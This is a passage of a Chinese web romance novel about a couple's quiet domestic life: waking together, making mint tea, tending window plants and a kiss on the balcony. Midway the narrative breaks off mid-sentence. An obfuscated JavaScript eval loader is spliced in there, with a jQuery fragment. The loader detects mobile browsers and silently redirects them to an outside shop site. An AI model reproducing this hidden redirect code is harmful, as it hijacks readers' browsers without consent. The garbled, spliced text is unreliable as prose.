接下来的日子,同床共枕成了两个人心照不宣的默认设置。
每天晚上各自忙完手头的事情之后,陈砚会先去关窗台上的那盏暖光台灯,然后走进卧室。
沈知意有时候还靠在床头看书,有时候已经躺下来半眯着眼等他。
他躺下去的时候床垫微微下沉,沈知意会闭着眼往他那侧挪几寸,直到肩膀贴上他的手臂。然后他的手会自然地搭上她的腰或后背,五指微微收拢,像在做一个每晚固定重复的确认动作。
有一天早上沈知意先醒了。
窗外的光还是青灰色的,天刚亮没多久,陈砚还在睡着。
他的呼吸平稳而绵长,手臂搭在她的腰侧维持着睡前的姿势。
沈知意没有动,她侧躺着看着近在咫尺的那张脸——晨光从窗帘缝隙漏进来落在他的眉骨和鼻梁上,把睡梦中的轮廓照得柔和而清晰。
他的睫毛很长,在眼下投下一小片淡灰色的阴影,嘴角的线条在睡眠中是完全松弛的,比白天少了一层琢磨的痕迹。
她看了很久,然后轻轻地靠过去,在唇尖贴上他的下颌线。
他睡梦中的呼吸节奏微微乱了一拍,然后手臂在她腰上收紧了一点,像一个下意识的回应。
沈知意贴着他的下颌线停了几秒,然后退开,平躺回去。
陈砚的眼皮动了一下,但没有醒。
他的手臂依然搭在她腰上,掌心的温度透过睡衣的布料源源不断地传过来。她看着天花板,窗外的晨光正在从灰青变成淡金,窗台上那排植物的轮廓在渐亮的天光里慢慢清晰起来。
过了大概二十分钟他醒了。
睁眼看到她正平躺着看着天花板,他把手臂往回收了收把她整个人拢过来靠进自己怀里,下巴搁在她头顶,声音沙哑地说了一句:"你醒多久了?"
"一会儿。"
陈砚闭着眼,下巴在她头顶蹭了一下:"那你一直躺着没动。"
"嗯。看你睡觉。"
陈砚把眼睛睁开了一条缝低头看她:"我睡觉有什么好看的?"
沈知意在他怀里翻了个身面对着他,伸手用指腹碰了碰他的眉毛:"你睡觉的时候眉头是松开的。白天不是。"
陈砚被她碰着眉骨,没有躲,反而微微往她手指的方向靠了靠。
"白天在想事。晚上睡着了就不想了。"
沈知意收回手重新躺回枕头上,两个人面对着面,晨光在两个人之间慢慢地亮起来。她看着他说:"你昨天晚上有没有做梦?"
陈砚想了想:"做了。但醒来就忘了。"
沈知意把被子往上拉了拉,把他的下巴也盖进去了一半:"那梦里面有没有我?"
陈砚看着她,晨光从他的瞳孔里反射出一层浅金色的光。
他说:"忘了梦的内容,但记得里面有人。应该是你。"
沈知意弯了一下嘴角,然后把被子拉过两个人的头顶,在被子形成的黑暗小空间里贴过去吻了他一下。
很轻的一下,嘴唇在嘴唇上停了一瞬就离开了。
然后她把被子掀开重新露出两个人的脸,窗外已经全亮了,窗台上的薄荷叶尖在阳光里泛着亮晶晶的反光。
她坐起来说:"起床。今天早上吃粥。"
陈砚躺在床上看着她的背影从床边离开,他翻了个身,嘴角的弧度在枕头上压出了一个小小的凹痕。
他多躺了十秒然后也坐了起来。客厅里传来淘米的水流声和窗台窗户被推开换气的轻响,新的一天像窗台上的植物一样,在晨光里缓慢而笃定地展开了。
同住之后陈砚开始用窗台上那盆薄荷做薄荷茶。
每天傍晚他都会摘几片叶子洗干净放进杯子里,然后倒入热水,等叶子的香气在热水里慢慢化开。
有时候他泡两杯,有时候只泡一杯——如果沈知意那天想喝别的,他就把那一杯薄荷茶自己端到窗台前面喝。
沈知意偶尔路过窗台的时候会顺手端起那只杯子喝一口,喝完了放回去,也不说是自己喝了。陈砚后来发现杯里的水位总是比他自己喝过的位置低一截,他看出来了但没有说,只是下一次泡的时候多放两片叶子。
八月的一个黄昏,沈知意坐在客厅地毯上,后背靠着沙发看书,窗台上的薄荷茶放在她左手边的地板上。
陈砚从书房走出来倒水的时候看到她正低头看书,手边那杯薄荷茶的水位已经降到了杯底。
他走过去蹲下来,把她那杯空杯子拿起来,去厨房续了热水又端回来放在原地。沈知意在他放杯子的时候抬头看了他一眼,没有说话,但嘴角有弧度。
陈砚蹲在她旁边,没有立刻站起来,侧头看了一眼她膝盖上摊开的那本书——是一本植物的养护手册,翻到的那一页正好是薄荷的栽培要点。
他开口说:"你在看怎么种薄荷?"
沈知意把书往他那边偏了偏让他看那一页的内容:"窗台上的那盆最近叶尖有一点卷,我在看是不是水浇多了。"
陈砚凑近看了看那一页上配的示意图,又转头看了一眼窗台上那盆薄荷:"叶尖卷是光照太强。夏天太阳直射太久,它需要一点遮荫。"
沈知意把书合上放在膝盖上:"那窗台上那盏台灯是不是太靠近薄荷了?"
陈砚想了想:"台灯的光是暖光,强度跟阳光不一样,影响不大。但白天可以把薄荷往罗汉松那边挪一点,罗汉松的针叶能挡一部分直射光。"
沈知意看着他:"你对薄荷的习性这么清楚?"
陈砚蹲在她旁边,黄昏的光从窗外照进来把两个人都罩在一层暖色调里:"因为是你窗台上那盆。我学的时候只看跟它有关的。"
沈知意没有说话。
她伸手把他垂在膝盖旁边的右手拿起来放在自己手心里,低头看着他的手指——指节分明、指甲修剪得整齐,指腹上有几处浅浅的硬茧,是做项目和种花共同形成的痕迹。
她用拇指轻轻蹭了一下他食指侧面那处硬茧,然后抬起头看着他说:"那你对窗台上其他几盆也这么清楚?"
陈砚被她握着手没有抽回去,原地蹲着说:"绿萝喜阴,罗汉松耐旱,文竹怕风,虎皮兰喜欢干爽。你窗台上每一盆我都知道。"
沈知意握着他的手,让他的掌心贴着自己的掌心,两个人的手纹在交叠中微微错位又重合了一部分。
她低了一会儿头然后抬起来说:"那你对别的东西也这么清楚?"
陈砚蹲在她面前,两个人的视线在黄昏的光线里平齐。
他开口说:"别的东西指什么?"
沈知意看着他,光从侧面照过来把她眼里的一点水光映得明亮但不明显。她说:"你知道我每天早上的习惯、喜欢的茶的甜度、读了一半的书的页码——那你知不知道我什么时候觉得最安心?"
陈砚在她的手心里微微动了一下手指,拇指蹭过她的虎口位置。
他看着她,声音比刚才低了一度:"你每天晚上睡着了之后,会往我这边靠。靠到肩膀贴着我胸口的时候,你呼吸会慢下来。那时候你应该是最安心的。"
沈知意握着他的手没有松开。她低头
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17837947|211527||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
看了一会儿两个人交握的手指,然后抬头说:"答对了。"
黄昏的光在两个人之间越来越浓,窗台上那排植物的影子在地板上被拉得细长,缓慢地朝东移动着。
沈知意松开了他的手拿起地板上的薄荷茶喝了一口,水温刚好,薄荷的味道在口腔里散开。
她把杯子放回去,重新翻开膝盖上那本书继续看。
陈砚站起来走到窗台前面,把薄荷往罗汉松的方向挪了挪,让罗汉松的针叶正好挡住西斜的阳光。
他调整完之后转身走回书房,经过她身边的时候脚步停了一瞬,伸手碰了一下她的发尾,然后继续走了。沈知意没有抬头,但她的目光从书页上移开了一瞬,落在自己握着书脊的手指上。
八月底的一个夜里,气温突然降了几度,从闷热变成了清爽。
沈知意和陈砚都睡不着,两个人穿着薄外套走到阳台上站着。
阳台不大,但刚好能并排站两个人,面前是小区中央的花园,路灯把树叶的轮廓照得细致分明。夜风带着夏末特有的凉意穿过来,把两个人的衣摆都吹动了一下。
沈知意靠在栏杆上仰头看着天空。
城区的夜空能看到的不多,只有几颗特别亮的星在天幕上挂着。
她看了一会儿然后说:"你以前一个人住的时候,半夜会出来站阳台吗?"
陈砚站在她旁边,也仰头看着同一片天空:"会。睡不着的时候出来站一会儿,看对面的楼的灯一盏一盏灭掉。看着看着就困了。"
沈知意收回视线转头看他:"那现在呢?"
陈砚也收回视线转头跟她对视,夜色把他的眼睛镀上一层幽深的光:"现在不失眠了。"
沈知意没有追问为什么。
她转回去继续看天空,夜风把她的头发吹起来一缕,她伸手要别的时候陈砚已经伸手把那缕头发帮她别到了耳后。
他的手指在别完之后没有立刻收回去,沿着她耳廓的边缘轻轻划了一下,像在描一个只有他自己知道的轮廓。沈知意在他手指划过去的时候微微偏了一下头,让他的指尖沿着她的耳垂滑落下去。
夜风持续地穿过阳台,带着夏末特有的那种即将转凉的预兆。
沈知意把外套拢了一下,陈砚注意到了,他侧了一步站到她面前,用自己的后背挡住风来的方向。
他比沈知意高出一个头,站在她前面的时候正好挡住了大部分风力。
沈知意抬头看着他,夜色中他的轮廓被背后花园路灯的光勾出一道暗金色的边线。
她伸手抓住他外套的两侧衣摆,把他往自己的方向拉了一下。
力道不大,但他顺着过来了,低下头,两个人在阳台上接了一个被夜风环绕的吻。
风从陈砚背后穿过来,绕过他的肩膀继续向前,但经过两个人之间的空间时速度放缓了,像被交叠的呼吸和体温阻碍了片刻。
吻持续的时间不长,结束时两个人的额头贴在一起,鼻尖碰着鼻尖,呼吸在凉爽的空气里化成白色的细雾又立刻散掉。
陈砚没有直起身,保持着低头跟她额头相抵的姿势开口说:"进去吧。外面凉。"
沈知意松开了攥着他衣摆的手,掌心在他的外套前襟上按了一下,然后转身走回室内。
陈砚跟在她身后,顺手把阳台的门带上了。
玻璃门合拢的声响在安静的夜里很轻,像一个句号落在一段话的最后。
两个人走回卧室的时候在走廊里手牵着手,指缝扣着指缝,掌心的温度在夏末的凉夜里成了一处小小的热源。